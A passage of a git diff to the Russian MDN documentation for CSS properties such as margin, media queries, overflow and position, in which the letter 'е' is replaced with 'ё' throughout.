      {{CSSRef}}
      -

      Свойство margin CSS определяет внешний отступ на всех четырех сторонах элемента. Это сокращение, которое устанавливает все отдельные поля одновременно: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}.

      +

      Свойство margin CSS определяет внешний отступ на всех четырёх сторонах элемента. Это сокращение, которое устанавливает все отдельные поля одновременно: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}.

      /* Применяется ко всем четырём сторонам */
       margin: 1em;
      @@ -49,7 +49,7 @@ margin: unset;
           <div class="cell">
             <div class="m m4">margin: 5px 1em 0 auto</div>
           </div>
      -    <div class="note">Все вышеприведенные блоки имеют одинаковую ширину 50%</div>
      +    <div class="note">Все вышеприведённые блоки имеют одинаковую ширину 50%</div>
         </div>
       </div>
      @@ -112,10 +112,10 @@ margin: unset;

      Синтаксис

      -

      Свойство margin может быть задано с использованием одного, двух, трех или четырех значений. Каждое значение имеет тип <length>, <percentage> или является ключевым словом auto. Каждое значение может быть положительным, отрицательным или равным нулю.

      +

      Свойство margin может быть задано с использованием одного, двух, трёх или четырёх значений. Каждое значение имеет тип <length>, <percentage> или является ключевым словом auto. Каждое значение может быть положительным, отрицательным или равным нулю.

        -
      • Когда определено одно значение, такое значение определено для всех четырех сторон.
      • +
      • Когда определено одно значение, такое значение определено для всех четырёх сторон.
      • Когда определены два значения, то первое значение определяет внешний отступ для верхней и нижней стороны, а второе значение определяет отступ для левой и правой стороны.
      • Когда определены три значение, то первое значение определяет внешний отступ для верхней стороны, второе значение определяет внешний отступ для левой и правой стороны, а третье значение определяет отступ для нижней стороны.
      • Когда определены четыре значения, они определяют внешние отступы для верхней стороны, справа, снизу и слева в рассмотренном порядке (по часовой стрелке).
      • diff --git a/files/ru/web/css/max-block-size/index.html b/files/ru/web/css/max-block-size/index.html index 416987e8b3..bce04c2a67 100644 --- a/files/ru/web/css/max-block-size/index.html +++ b/files/ru/web/css/max-block-size/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/max-block-size ---

        {{CSSRef}}{{SeeCompatTable}}

        -

        CSS свойство max-block-size определяет максимальный горизонтальный или вертикальный размер блока в зависимости от вида ориентации экрана. Это свойство соответствует либо {{cssxref("max-width")}}, либо {{cssxref("max-height")}}, в зависимости от значения определенного в {{cssxref("writing-mode")}}. Если последнее свойство вертикально ориентировано, значит значение свойства max-block-size относится к максимальной ширине блока, в противном случае относится к максимальной высоте блока. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.

        +

        CSS свойство max-block-size определяет максимальный горизонтальный или вертикальный размер блока в зависимости от вида ориентации экрана. Это свойство соответствует либо {{cssxref("max-width")}}, либо {{cssxref("max-height")}}, в зависимости от значения определённого в {{cssxref("writing-mode")}}. Если последнее свойство вертикально ориентировано, значит значение свойства max-block-size относится к максимальной ширине блока, в противном случае относится к максимальной высоте блока. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.

        /* <length> values */
         max-block-size: 300px;
        diff --git a/files/ru/web/css/media_queries/index.html b/files/ru/web/css/media_queries/index.html
        index 148efccbea..63d4f820cb 100644
        --- a/files/ru/web/css/media_queries/index.html
        +++ b/files/ru/web/css/media_queries/index.html
        @@ -14,9 +14,9 @@ translation_of: Web/CSS/Media_Queries
         ---
         
        {{CSSRef("CSS3 Media Queries")}}
        -

        Media Queries - ключевой компонент отзывчивого дизайна, который делает возможным для CSS адаптироваться в зависимости от различных параметров или характеристик устройства. Например, media query может применить различные стили если экран меньше определенного размера, или в зависимости от того находится устройство в портретном или альбомном режиме. {{cssxref("@media")}} at-правило используется чтобы задать условия применения стилей к документу.

        +

        Media Queries - ключевой компонент отзывчивого дизайна, который делает возможным для CSS адаптироваться в зависимости от различных параметров или характеристик устройства. Например, media query может применить различные стили если экран меньше определённого размера, или в зависимости от того находится устройство в портретном или альбомном режиме. {{cssxref("@media")}} at-правило используется чтобы задать условия применения стилей к документу.

        -

        Кроме того, media query синтаксис используется в других контекстах, таких как атрибут {{htmlattrxref("media", "source")}} элемента {{HTMLElement("source")}}, который может быть установлен в media query строку, чтобы определять нужно или нет использовать этот источник, когда выбирается определенное изображение для использования в элементе {{HTMLElement("picture")}}.

        +

        Кроме того, media query синтаксис используется в других контекстах, таких как атрибут {{htmlattrxref("media", "source")}} элемента {{HTMLElement("source")}}, который может быть установлен в media query строку, чтобы определять нужно или нет использовать этот источник, когда выбирается определённое изображение для использования в элементе {{HTMLElement("picture")}}.

        In addition, the {{domxref("Window.matchMedia()")}} method can be used to test the window against a media query. You can also use {{domxref("MediaQueryList.addListener()")}} to be notified whenever the state of the queries changes. With this functionality, your site or app can respond to changes in the device configuration, orientation, or state.

        diff --git a/files/ru/web/css/media_queries/testing_media_queries/index.html b/files/ru/web/css/media_queries/testing_media_queries/index.html index facf42b21c..34880c4015 100644 --- a/files/ru/web/css/media_queries/testing_media_queries/index.html +++ b/files/ru/web/css/media_queries/testing_media_queries/index.html @@ -42,7 +42,7 @@ mediaQueryList.addListener(handleOrientationChange); // Добавление к handleOrientationChange(mediaQueryList); // Запуск обработчика изменений, один раз.
        -

        Этот код создает список медиавыражений для тестирование ориентации, а затем добавляет к нему обработчик событий. После добавления обработчика, мы, также, непосредственно вызываем обработчик. Это заставляет нашего обработчика выполнять настройки, основываясь на текущей ориентации устройства; в противном случае, наш код может предполагать, что устройство находится в книжной ориентации при запуске, даже если оно фактически находится в альбомном положении.

        +

        Этот код создаёт список медиавыражений для тестирование ориентации, а затем добавляет к нему обработчик событий. После добавления обработчика, мы, также, непосредственно вызываем обработчик. Это заставляет нашего обработчика выполнять настройки, основываясь на текущей ориентации устройства; в противном случае, наш код может предполагать, что устройство находится в книжной ориентации при запуске, даже если оно фактически находится в альбомном положении.

        Функция handleOrientationChange() будет следить за результатом выражения и обрабатывать все, что нам нужно сделать при изменении ориентации:

        @@ -57,11 +57,11 @@ handleOrientationChange(mediaQueryList); // Запуск обработчика

        Выше, мы определяем параметры как evt — event объект. Это имеет значение, поскольку новые реализации MediaQueryList обрабатывают события стандартным способом. Они больше не используют нестандартный механизм  {{domxref("MediaQueryListListener")}} , а используют стандартную настройку обработчика событий, передавая объект event  {{domxref("MediaQueryListEvent")}} как аргумент колбэк-функции.

        -

        Этот event объект также включает свойства {{domxref("MediaQueryListEvent.media","media")}} и {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому вы можете запросить эти свойства MediaQueryList путем прямого доступа к нему или доступа к event объекту.

        +

        Этот event объект также включает свойства {{domxref("MediaQueryListEvent.media","media")}} и {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому вы можете запросить эти свойства MediaQueryList путём прямого доступа к нему или доступа к event объекту.

        Уведомление о завершении выражения

        -

        Для прекращения уведомлений об изменении значения вашего медиавыражения вызовите метод removeListener() для {{domxref("MediaQueryList") }}, передав ему имя, ранее определенной функции:

        +

        Для прекращения уведомлений об изменении значения вашего медиавыражения вызовите метод removeListener() для {{domxref("MediaQueryList") }}, передав ему имя, ранее определённой функции:

        mediaQueryList.removeListener(handleOrientationChange);
         
        diff --git a/files/ru/web/css/media_queries/using_media_queries/index.html b/files/ru/web/css/media_queries/using_media_queries/index.html index 9923ab8f1e..07014138a2 100644 --- a/files/ru/web/css/media_queries/using_media_queries/index.html +++ b/files/ru/web/css/media_queries/using_media_queries/index.html @@ -4,7 +4,7 @@ slug: Web/CSS/Media_Queries/Using_media_queries tags: - Веб - Медиа - - Медиа верстка + - Медиа вёрстка - Медиавыражения - Отзывчивый дизайн - Продвинутый @@ -30,7 +30,7 @@ translation_of: Web/CSS/Media_Queries/Using_media_queries

        Узконаправленные @media

        -

        Media features описывают некие характеристики определенного {{glossary("user agent")}}, устройства вывода или окружения. Например, Вы можете применить выбранные стили  только для широкоэкранных мониторов, компьютеров с мышью, или для устройств, которые используются в условиях слабой освещенности. В примере ниже стили будут применены только когда основное устройство ввода пользователя (например мышь)  будет расположено над элементами:

        +

        Media features описывают некие характеристики определённого {{glossary("user agent")}}, устройства вывода или окружения. Например, Вы можете применить выбранные стили  только для широкоэкранных мониторов, компьютеров с мышью, или для устройств, которые используются в условиях слабой освещённости. В примере ниже стили будут применены только когда основное устройство ввода пользователя (например мышь)  будет расположено над элементами:

        @media (hover: hover) { ... }
        @@ -38,7 +38,7 @@ translation_of: Web/CSS/Media_Queries/Using_media_queries
        @media (max-width: 12450px) { ... }
        -

        Если вы создаете медиавыражение без указания значения, вложенные стили будут использоваться до тех пор, пока значение функции не равно нулю. Например, этот CSS будет применяться к любому устройству с цветным экраном:

        +

        Если вы создаёте медиавыражение без указания значения, вложенные стили будут использоваться до тех пор, пока значение функции не равно нулю. Например, этот CSS будет применяться к любому устройству с цветным экраном:

        @media (color) { ... }
        diff --git a/files/ru/web/css/object-fit/index.html b/files/ru/web/css/object-fit/index.html index 66c10ac4ed..69cacd65c0 100644 --- a/files/ru/web/css/object-fit/index.html +++ b/files/ru/web/css/object-fit/index.html @@ -23,11 +23,11 @@ translation_of: Web/CSS/object-fit
        fill
        Смещаемый контент меняет свой размер таким образом, чтобы заполнить всю область внутри блока: используется вся ширина и высота блока.
        contain
        -
        Смещаемый контент меняет свой размер таким образом, чтобы подстроится под область внутри блока пропорционально собственным параметрам: окончательный размер контента будет определен как "помещенный внутрь" блока, ограничиваясь его шириной и высотой.
        +
        Смещаемый контент меняет свой размер таким образом, чтобы подстроится под область внутри блока пропорционально собственным параметрам: окончательный размер контента будет определён как "помещённый внутрь" блока, ограничиваясь его шириной и высотой.
        cover
        -
        Смещаемый контент меняет свой размер таким образом, чтобы сохранять свои пропорции при заполнении блока: окончательный размер контента будет определен как "покрытие" блока, ограничиваясь его шириной и высотой.
        +
        Смещаемый контент меняет свой размер таким образом, чтобы сохранять свои пропорции при заполнении блока: окончательный размер контента будет определён как "покрытие" блока, ограничиваясь его шириной и высотой.
        none
        -
        Смещаемый контент не изменяет свой размер с целью заполнить пространство блока: конечный размер контента будет определен с использованием алгоритма изменения размера по умолчанию, а также размер объекта по умолчанию равен ширине и высоте смещаемого контента.
        +
        Смещаемый контент не изменяет свой размер с целью заполнить пространство блока: конечный размер контента будет определён с использованием алгоритма изменения размера по умолчанию, а также размер объекта по умолчанию равен ширине и высоте смещаемого контента.
        diff --git a/files/ru/web/css/opacity/index.html b/files/ru/web/css/opacity/index.html index 5242bb0220..92b9189692 100644 --- a/files/ru/web/css/opacity/index.html +++ b/files/ru/web/css/opacity/index.html @@ -68,10 +68,10 @@ translation_of: Web/CSS/opacity opacity: 0.2; /* Едва видимый текст на фоне */ } .medium { - opacity: 0.5; /* Видимость текста более четкая на фоне */ + opacity: 0.5; /* Видимость текста более чёткая на фоне */ } .heavy { - opacity: 0.9; /* Видимость текста очень четкая на фоне */ + opacity: 0.9; /* Видимость текста очень чёткая на фоне */ } @@ -105,9 +105,9 @@ img.opacity:hover {

        Проблемы доступности

        -

        Если непрозрачность текста регулируется, важно убедиться, что коэффициент контрастности между цветом текста и фоном, на котором размещен текст, достаточно высок, чтобы люди, испытывающие проблемы со слабым зрением, могли читать содержимое страницы.

        +

        Если непрозрачность текста регулируется, важно убедиться, что коэффициент контрастности между цветом текста и фоном, на котором размещён текст, достаточно высок, чтобы люди, испытывающие проблемы со слабым зрением, могли читать содержимое страницы.

        -

        Коэффициент цветовой контрастности определяется путем сравнения яркости текста с откорректированной непрозрачностью и значением цвета фона. Чтобы соответствовать действующим Рекомендациям по доступности веб-контента (WCAG), для текстового содержимого требуется соотношение 4.5:1 и 3:1 для более крупного текста, такого как заголовки. Большой текст определяется как 18.66px и жирный или крупнее, или 24px или выше.

        +

        Коэффициент цветовой контрастности определяется путём сравнения яркости текста с откорректированной непрозрачностью и значением цвета фона. Чтобы соответствовать действующим Рекомендациям по доступности веб-контента (WCAG), для текстового содержимого требуется соотношение 4.5:1 и 3:1 для более крупного текста, такого как заголовки. Большой текст определяется как 18.66px и жирный или крупнее, или 24px или выше.

        • WebAIM: Color Contrast Checker
        • diff --git a/files/ru/web/css/order/index.html b/files/ru/web/css/order/index.html index a9265b81c8..783af7d5b6 100644 --- a/files/ru/web/css/order/index.html +++ b/files/ru/web/css/order/index.html @@ -55,7 +55,7 @@ order: unset; </main> <footer>...</footer> -

          Следующий CSS код должен создать классический блок контента окруженный боковыми панелями. Flexible Box Layout Module автоматически создаёт блоки одинаковой высоты и максимально допустимой ширины.

          +

          Следующий CSS код должен создать классический блок контента окружённый боковыми панелями. Flexible Box Layout Module автоматически создаёт блоки одинаковой высоты и максимально допустимой ширины.

          main { display: flex;  text-align:center; }
           main > article { flex:1;        order: 2; }
          diff --git a/files/ru/web/css/orphans/index.html b/files/ru/web/css/orphans/index.html
          index d6c5385e17..b279776262 100644
          --- a/files/ru/web/css/orphans/index.html
          +++ b/files/ru/web/css/orphans/index.html
          @@ -2,7 +2,7 @@
           title: orphans
           slug: Web/CSS/orphans
           tags:
          -  - Верстка
          +  - Вёрстка
             - печать
             - разрыв страницы
             - фрагментация
          diff --git a/files/ru/web/css/overflow-block/index.html b/files/ru/web/css/overflow-block/index.html
          index ead0067598..2756cb66f9 100644
          --- a/files/ru/web/css/overflow-block/index.html
          +++ b/files/ru/web/css/overflow-block/index.html
          @@ -31,7 +31,7 @@ overflow-block: unset;
           
           
          visible
          -
          Содержимое не обрезается и может отображаться за пределами начального и конечного краев блока отступа.
          +
          Содержимое не обрезается и может отображаться за пределами начального и конечного краёв блока отступа.
          hidden
          При необходимости содержимое обрезается, чтобы соответствовать размеру блока в поле заполнения. Полосы прокрутки отсутствуют.
          scroll
          diff --git a/files/ru/web/css/overflow-wrap/index.html b/files/ru/web/css/overflow-wrap/index.html index fda01d4824..8c5409417a 100644 --- a/files/ru/web/css/overflow-wrap/index.html +++ b/files/ru/web/css/overflow-wrap/index.html @@ -12,7 +12,7 @@ translation_of: Web/CSS/overflow-wrap
          -

          Note: В отличие от {{cssxref("word-break")}}, overflow-wrap создает перенос только, если целое слово не может быть размещено на своей линии без переполнения

          +

          Note: В отличие от {{cssxref("word-break")}}, overflow-wrap создаёт перенос только, если целое слово не может быть размещено на своей линии без переполнения

          Изначально свойство word-wrap не было стандартом, хотя и было реализовано большинством браузеров. Впоследствии оно было переименовано в overflow-wrap c алиасом word-wrap.

          @@ -30,7 +30,7 @@ overflow-wrap: initial; overflow-wrap: unset;
          -

          Свойство overflow-wrap задается с помощью ключевого слова и выбирается из списка значений приведенных ниже:

          +

          Свойство overflow-wrap задаётся с помощью ключевого слова и выбирается из списка значений приведённых ниже:

          Values

          diff --git a/files/ru/web/css/overflow/index.html b/files/ru/web/css/overflow/index.html index 58a572c013..00bac1115d 100644 --- a/files/ru/web/css/overflow/index.html +++ b/files/ru/web/css/overflow/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/overflow

          Свойство CSS overflow определяет, необходимо ли для переполненного блочного элемента содержимое обрезать, предоставить полосы прокрутки или просто отобразить.

          -

          Использование свойства overflow со значениями, отличными от visible, (значение, принятое по умолчанию), создаёт новый блочный контекст форматирования. Это технически необходимо, поскольку если бы float пересекался с элементом прокрутки, это потребовало бы обеспечить обтекание содержимого прокручиваемого элемента вокруг вторгающихся float'ов. Обтекание при этом было бы необходимо производить после каждого шага прокрутки заново, что привело бы к заметному замедлению прокрутки. Обратите внимание, что при программной установке атрибута scrollTop для соответствующего HTML-элемента, даже если overflow имеет значение hidden, элемент, возможно, придется прокрутить.

          +

          Использование свойства overflow со значениями, отличными от visible, (значение, принятое по умолчанию), создаёт новый блочный контекст форматирования. Это технически необходимо, поскольку если бы float пересекался с элементом прокрутки, это потребовало бы обеспечить обтекание содержимого прокручиваемого элемента вокруг вторгающихся float'ов. Обтекание при этом было бы необходимо производить после каждого шага прокрутки заново, что привело бы к заметному замедлению прокрутки. Обратите внимание, что при программной установке атрибута scrollTop для соответствующего HTML-элемента, даже если overflow имеет значение hidden, элемент, возможно, придётся прокрутить.

          {{cssinfo}}

          diff --git a/files/ru/web/css/overscroll-behavior/index.html b/files/ru/web/css/overscroll-behavior/index.html index acdb9c8c05..58377262db 100644 --- a/files/ru/web/css/overscroll-behavior/index.html +++ b/files/ru/web/css/overscroll-behavior/index.html @@ -23,7 +23,7 @@ overflow: initial; overflow: unset; -

          По умолчанию, мобильные браузеры как правило обеспечивают эффект "отскока" или даже обновляют страницу при достижение ее верхней или нижней части (или другой области прокрутки). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called scroll chaining.

          +

          По умолчанию, мобильные браузеры как правило обеспечивают эффект "отскока" или даже обновляют страницу при достижение её верхней или нижней части (или другой области прокрутки). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called scroll chaining.

          In some cases these behaviors are not desirable. you can use overscroll-behavior to get rid of unwanted scroll chaining and the browser's Facebook/Twitter app-inspired "pull to refresh"-type behavior.

          diff --git a/files/ru/web/css/padding-left/index.html b/files/ru/web/css/padding-left/index.html index 0e4c4a28ed..f669f782d3 100644 --- a/files/ru/web/css/padding-left/index.html +++ b/files/ru/web/css/padding-left/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/padding-left

          Внутренний отступ элемента (англ. "padding") - это пространство между его содержимым и его границей.

          -

          Примечание: Свойство {{cssxref ("padding")}} можно использовать для установки внутренних отступов на всех четырех сторонах элемента одним значением.

          +

          Примечание: Свойство {{cssxref ("padding")}} можно использовать для установки внутренних отступов на всех четырёх сторонах элемента одним значением.

          Синтаксис

          diff --git a/files/ru/web/css/padding/index.html b/files/ru/web/css/padding/index.html index 8ab7697255..d299d9dbf2 100644 --- a/files/ru/web/css/padding/index.html +++ b/files/ru/web/css/padding/index.html @@ -49,7 +49,7 @@ padding: unset;
          -
        • Одно значение применяется ко всем четырем сторонам
        • +
        • Одно значение применяется ко всем четырём сторонам
        • Два значения применяются: 1. верхняя и нижняя и 2. левая и правая стороны
        • Три значения применяются: 1. верхняя, 2. левая и правая и 3. нижняя стороны
        • Четыре значения применяются: 1. верхняя, 2. правая, 3. нижняя и 4. левая стороны
        • diff --git a/files/ru/web/css/paint-order/index.html b/files/ru/web/css/paint-order/index.html index c2bcbbf9bf..36f95f78c2 100644 --- a/files/ru/web/css/paint-order/index.html +++ b/files/ru/web/css/paint-order/index.html @@ -27,7 +27,7 @@ paint-order: markers stroke fill; /* отрисовывает маркеры, з

          Если значение не указано, значением по умолчанию является следующий порядок  fill, stroke, markers.

          -

          Когда указано одно значение, то сначала отрисовывается оно, затем два других в дефолтном порядке друг относительно друга. Когда указано два значения, они будут отрисованы в указанном порядке, а затем будет отрисовано неопределенное значение.

          +

          Когда указано одно значение, то сначала отрисовывается оно, затем два других в дефолтном порядке друг относительно друга. Когда указано два значения, они будут отрисованы в указанном порядке, а затем будет отрисовано неопределённое значение.

          Примечание: В этом случае, маркеры отрисовываются только при рисовании форм SVG. включающих использование свойств marker-*  (например marker-start) и элемента <marker>. Они не применяются к тексту HTML, в этом случае, вы можете определить только порядок stroke и fill.

          diff --git a/files/ru/web/css/perspective/index.html b/files/ru/web/css/perspective/index.html index b0d1d14fc1..015f838b1e 100644 --- a/files/ru/web/css/perspective/index.html +++ b/files/ru/web/css/perspective/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/perspective

          Точка схождения по умолчанию расположена в центре элемента, но её можно переместить используя свойство {{ cssxref("perspective-origin") }}.

          -

          При использовании данного свойства со значениями отличными от 0 или none создается новый stacking context.

          +

          При использовании данного свойства со значениями отличными от 0 или none создаётся новый stacking context.

          {{cssinfo}}

          diff --git a/files/ru/web/css/pointer-events/index.html b/files/ru/web/css/pointer-events/index.html index 2c12b8b291..b6a95a4f4a 100644 --- a/files/ru/web/css/pointer-events/index.html +++ b/files/ru/web/css/pointer-events/index.html @@ -91,7 +91,7 @@ img {

          Примечание

          -

          Обратите внимание, что предотвращение того, чтобы элемент был объектом событий мыши,  с помощью pointer-events не обязательно означает, что обработчики событий мыши на этом элементе не могут или не будут запускаться. Если у одного из  дочерних элементов есть явные pointer-events, позволяющие этому ребенку быть объектом событий мыши, тогда любые события, нацеленные на этого дочернего элемента, будут проходить через родителя, когда событие перемещается вдоль родительской цепочки и запускает обработчики событий на родительском объекте. Конечно, любая активность мыши в точке на экране, которая покрывается родителем, но не дочерним, не будет поймана ни ребенком, ни родителем (он пройдет через «родительский» на «цели» под ним).

          +

          Обратите внимание, что предотвращение того, чтобы элемент был объектом событий мыши,  с помощью pointer-events не обязательно означает, что обработчики событий мыши на этом элементе не могут или не будут запускаться. Если у одного из  дочерних элементов есть явные pointer-events, позволяющие этому ребёнку быть объектом событий мыши, тогда любые события, нацеленные на этого дочернего элемента, будут проходить через родителя, когда событие перемещается вдоль родительской цепочки и запускает обработчики событий на родительском объекте. Конечно, любая активность мыши в точке на экране, которая покрывается родителем, но не дочерним, не будет поймана ни ребёнком, ни родителем (он пройдёт через «родительский» на «цели» под ним).

          Мы хотели бы предоставить более тонкий контроль (а не только auto и none) в HTML, когда части элемента смогут «поймать» события мыши. Если у вас есть какие-то конкретные вещи, чтобы помочь нам в решении как следует расширить pointer-events для HTML, и которые вы хотели бы сделать с этим свойством, добавьте их в раздел «Использовать случаи» на этой странице вики (не беспокойтесь, мы всё сохраним аккуратно). 

          diff --git a/files/ru/web/css/position/index.html b/files/ru/web/css/position/index.html index 3baa0548f0..fb6002c2fb 100644 --- a/files/ru/web/css/position/index.html +++ b/files/ru/web/css/position/index.html @@ -22,7 +22,7 @@ translation_of: Web/CSS/position
        • Элемент с липкой позицией — это элемент, у которого {{cssxref('computed_value', 'значение вычисленного')}} position является sticky. Он рассматривается как относительно позиционированный до тех пор, пока {{cssxref('Containing_Block', 'содержащий его блок')}} не пересечёт указанный порог (например, установка {{cssxref('top')}} в значение, отличное от auto) внутри его корня потока (или в контейнере, в котором он прокручивается), после чего он обрабатывается как «застрявший» до тех пор, пока не встретит противоположный край {{cssxref('Containing_Block', 'содержащего его блока')}}.
        -

        В большинстве случаев абсолютно позиционированный элементы, которые имеют {{cssxref('height')}} и {{cssxref('width')}} установленные в auto, имеют размер, соответствующий их содержимому. Тем не менее, незамещаемые, абсолютно позиционированный элементы можно сделать такими, чтобы они заполнили доступное вертикальное пространство, указав как {{cssxref('top')}}, так и {{cssxref('bottom')}}, и оставляя {{cssxref('height')}} неопределенным (то есть , auto). Ими также можно заполнить доступное горизонтальное пространство, указав как {{cssxref('left')}}, так и {{cssxref('right')}}, и оставляя {{cssxref('width')}} как auto.

        +

        В большинстве случаев абсолютно позиционированный элементы, которые имеют {{cssxref('height')}} и {{cssxref('width')}} установленные в auto, имеют размер, соответствующий их содержимому. Тем не менее, незамещаемые, абсолютно позиционированный элементы можно сделать такими, чтобы они заполнили доступное вертикальное пространство, указав как {{cssxref('top')}}, так и {{cssxref('bottom')}}, и оставляя {{cssxref('height')}} неопределённым (то есть , auto). Ими также можно заполнить доступное горизонтальное пространство, указав как {{cssxref('left')}}, так и {{cssxref('right')}}, и оставляя {{cssxref('width')}} как auto.

        За исключением только что описанного случая (абсолютно позиционированных элементов, заполняющих доступное пространство):

        @@ -39,19 +39,19 @@ translation_of: Web/CSS/position
        static
        -
        Это значение позволяет элементу находиться в обычном его состоянии, расположенном на своем месте в документе. Свойства top, right, bottom, left и z-index не применяются к данному элементу. Это значение по умолчанию.
        +
        Это значение позволяет элементу находиться в обычном его состоянии, расположенном на своём месте в документе. Свойства top, right, bottom, left и z-index не применяются к данному элементу. Это значение по умолчанию.
        relative
        Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается относительно себя на основе значений top, right, bottom и left. Смещение не влияет на положение любых других элементов; таким образом, пространство, заданное для элемента в макете страницы, такое же, как если бы позиция была static.
        -
        Это значение создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контекст наложения')}}, когда значение z-index не auto. Его влияние на элементы table-*-group, table-row, table-column, table-cell и table-caption не определено.
        +
        Это значение создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контекст наложения')}}, когда значение z-index не auto. Его влияние на элементы table-*-group, table-row, table-column, table-cell и table-caption не определено.
        absolute
        -
        Элемент удаляется из обычного потока документов, и для элемента в макете страницы не создается пробела. Он расположен относительно его ближайшего относительно позиционированного предка, если таковой имеется; в противном случае он помещается относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}. Его конечная позиция определяется значениями top, right, bottom, и left.
        +
        Элемент удаляется из обычного потока документов, и для элемента в макете страницы не создаётся пробела. Он расположен относительно его ближайшего относительно позиционированного предка, если таковой имеется; в противном случае он помещается относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}. Его конечная позиция определяется значениями top, right, bottom, и left.
        Это значение создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}, когда значение z-index не auto. Поля абсолютно позиционированных коробок не {{cssxref('CSS_Box_Model/Mastering_margin_collapsing', 'сворачиваются')}} с другими полями.
        fixed
        -
        Элемент выбивается из обычного потока документа, и для элемента в макете страницы не создается пространство. Он позиционируется относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}, установленного {{glossary("viewport")}}, за исключением случаев, когда один из его предков имеет свойство transform, perspective, или filter, установленное на что-то иное, кроме none (см. CSS Transforms Spec), и в этом случае этот предок ведет себя как содержащий блок. (Обратите внимание, что существуют несогласованности браузера с perspective и filter, способствующими содержанию формирования блоков.) Его конечная позиция определяется значениями top, right, bottom и left.
        -
        Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. В печатных документах элемент помещается в одно и то же положение на каждой странице.
        +
        Элемент выбивается из обычного потока документа, и для элемента в макете страницы не создаётся пространство. Он позиционируется относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}, установленного {{glossary("viewport")}}, за исключением случаев, когда один из его предков имеет свойство transform, perspective, или filter, установленное на что-то иное, кроме none (см. CSS Transforms Spec), и в этом случае этот предок ведёт себя как содержащий блок. (Обратите внимание, что существуют несогласованности браузера с perspective и filter, способствующими содержанию формирования блоков.) Его конечная позиция определяется значениями top, right, bottom и left.
        +
        Это значение всегда создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. В печатных документах элемент помещается в одно и то же положение на каждой странице.
        sticky
        Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается относительно его ближайшего прокручивающего предка и {{cssxref('Containing_Block', 'содержащего блока')}} (ближайший родительский уровень блока), включая элементы, связанные с таблицей, на основе значений top, right, bottom, и left. Смещение не влияет на положение любых других элементов.
        -
        Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. Обратите внимание, что липкий элемент «прилипает» к его ближайшему предшественнику, имеющему «механизм прокрутки» (созданный при overflow равном hidden, scroll, auto или overlay), даже если тот не является ближайшим фактически прокручивающим предком. Это эффективно препятствует любому «липкому» поведению (см. Github issue on W3C CSSWG).
        +
        Это значение всегда создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. Обратите внимание, что липкий элемент «прилипает» к его ближайшему предшественнику, имеющему «механизм прокрутки» (созданный при overflow равном hidden, scroll, auto или overlay), даже если тот не является ближайшим фактически прокручивающим предком. Это эффективно препятствует любому «липкому» поведению (см. Github issue on W3C CSSWG).

        Формальный синтаксис

        @@ -62,7 +62,7 @@ translation_of: Web/CSS/position

        Относительное позиционирование

        -

        Относительно позиционированные элементы смещены на определенную величину от их обычной позиции в документе, но без смещения, влияющего на другие элементы. В приведенном ниже примере обратите внимание, как размещаются другие элементы, как если бы «Two» занимало пространство своего обычного расположения.

        +

        Относительно позиционированные элементы смещены на определённую величину от их обычной позиции в документе, но без смещения, влияющего на другие элементы. В приведённом ниже примере обратите внимание, как размещаются другие элементы, как если бы «Two» занимало пространство своего обычного расположения.

        HTML

        @@ -134,7 +134,7 @@ span {

        Фиксированное позиционирование

        -

        Фиксированное позиционирование аналогично абсолютному, за исключением того, что блок, содержащий элемент, является начальным содержащим блоком, установленным в окне просмотра, если только у какого-либо предка не было transform, perspective, или свойства filter, отличное от none (см. CSS Transforms Spec), из-за чего этот предок занимает место элементов, содержащих блок. Это можно использовать для создания «плавающего» элемента, который остается в том же положении независимо от прокрутки. В приведенном ниже примере окно c id="one" фиксируется в 80 пикселях от верхней части страницы и в 10 пикселях слева. Даже после прокрутки оно остаётся в том же месте относительно окна просмотра.

        +

        Фиксированное позиционирование аналогично абсолютному, за исключением того, что блок, содержащий элемент, является начальным содержащим блоком, установленным в окне просмотра, если только у какого-либо предка не было transform, perspective, или свойства filter, отличное от none (см. CSS Transforms Spec), из-за чего этот предок занимает место элементов, содержащих блок. Это можно использовать для создания «плавающего» элемента, который остаётся в том же положении независимо от прокрутки. В приведённом ниже примере окно c id="one" фиксируется в 80 пикселях от верхней части страницы и в 10 пикселях слева. Даже после прокрутки оно остаётся в том же месте относительно окна просмотра.

        HTML

        @@ -196,7 +196,7 @@ span {

        Липкое позиционирование

        -

        Липкое позиционирование можно рассматривать как гибрид относительного и фиксированного позиционирования. Липкий позиционированный элемент обрабатывается как относительно позиционированный до тех пор, пока он не пересечет заданный порог, после чего он будет считаться фиксированным, пока не достигнет границы его родителя. Например...

        +

        Липкое позиционирование можно рассматривать как гибрид относительного и фиксированного позиционирования. Липкий позиционированный элемент обрабатывается как относительно позиционированный до тех пор, пока он не пересечёт заданный порог, после чего он будет считаться фиксированным, пока не достигнет границы его родителя. Например...

        #one { position: sticky; top: 10px; }
